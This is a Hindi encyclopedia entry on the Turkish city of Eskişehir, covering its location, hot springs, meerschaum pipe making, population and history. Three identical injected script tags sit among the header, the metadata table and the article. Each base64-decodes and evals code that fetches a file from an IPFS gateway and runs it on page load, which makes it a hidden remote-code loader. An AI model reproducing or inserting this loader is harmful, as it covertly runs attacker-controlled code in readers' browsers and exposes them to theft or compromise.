एस्किशहर
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एस्किशहर
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 2 |
पृष्ठ संख्या | 260 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पाण्डेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1964 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | लेखराज सिंह |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एस्किशहर यह तुर्की का एक प्रसिद्ध नगर तथा इसी नाम के प्रांत की राजधानी है। यह पुरसक सू नदी के दाहिने तट पर मारमोरा सागर से दक्षिण-पूर्व 90 मील की दूरी पर स्थित है। हैदरपाशा-अगोरा रेलवे भी एस्शिहर से गुजरती है। प्राचीन काल से यह नगर अपने गरम जल के स्रोतों के लिए प्रसिद्ध रहा है। इसके गंधक मिश्रित जल में मार्जन करके सहस्रों मनुष्यों ने अपनी शारीरिक व्याधियों से मुक्ति प्राप्त की है। इसके निकटवर्ती क्षेत्र में 'मीयरशम' नामक उच्च कोटि की मिट्टी प्रचुर मात्रा में मिलती है। इसी कारण इस नगर में मीयरशम के हुक्के बहुत बनते हैं। इसकी जलवायु अच्छी है। पुरसक नदी में मछलियों का बाहुल्य है तथा इसकी घाटी बड़ी उपजाऊ है; अत: एस्किशहर प्रांत काफी संपन्न है। सन् 1965 ई. में इसकी जनसंख्या 415,101 थी। नगर की जनसंख्या लगभग 173,900 (1965) थी। सन् 1923 की तुर्की-यूनानी संधि के पूर्व इस नगर में बहुत से यूनानी तथा ईसाई लोग रहते थे। आजकल यह नगर पूर्णतया तुर्की संस्कृति का परिचायक है।
टीका टिप्पणी और संदर्भ